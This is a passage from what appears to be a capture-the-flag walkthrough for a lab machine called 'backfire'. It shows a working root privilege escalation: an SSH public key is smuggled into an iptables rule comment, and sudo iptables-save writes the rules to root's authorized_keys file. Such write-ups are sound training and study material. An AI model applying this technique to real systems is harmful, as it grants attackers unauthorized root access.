:OUTPUT ACCEPT [174:35449]
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 5000 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 7096 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -i lo -m comment --comment "test"
-A INPUT -i lo -m comment --comment "
test
"
COMMIT
# Completed on Fri Jan 24 16:42:32 2025
That works!
Write SSH Key
I’ll write my public SSH key into a comment:
sergej@backfire:/$ sudo iptables -A INPUT -i lo -m comment --comment $'\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d nobody@nothing\n'
authorized_keys
files ignore lines that don’t match the required format, so as long as I get my key onto its own line, it should work:
@backfire:/$ sudo iptables-save
# Generated by iptables-save v1.8.9 (nf_tables) on Fri Jan 24 16:43:48 2025
*filter
:INPUT ACCEPT [227:81030]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [436:104924]
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 5000 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 7096 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -i lo -m comment --comment "\\ntest\\n"
-A INPUT -i lo -m comment --comment "
test
"
-A INPUT -i lo -m comment --comment "
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d nobody@nothing
"
COMMIT
# Completed on Fri Jan 24 16:43:48 2025
I’ll save that to root’s authorized_keys
file:
sergej@backfire:/$ sudo iptables-save -f /root/.ssh/authorized_keys
And connect with SSH:
oxdf@hacky$ ssh -i ~/keys/ed25519_gen root@10.10.11.49
Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
root@backfire:~#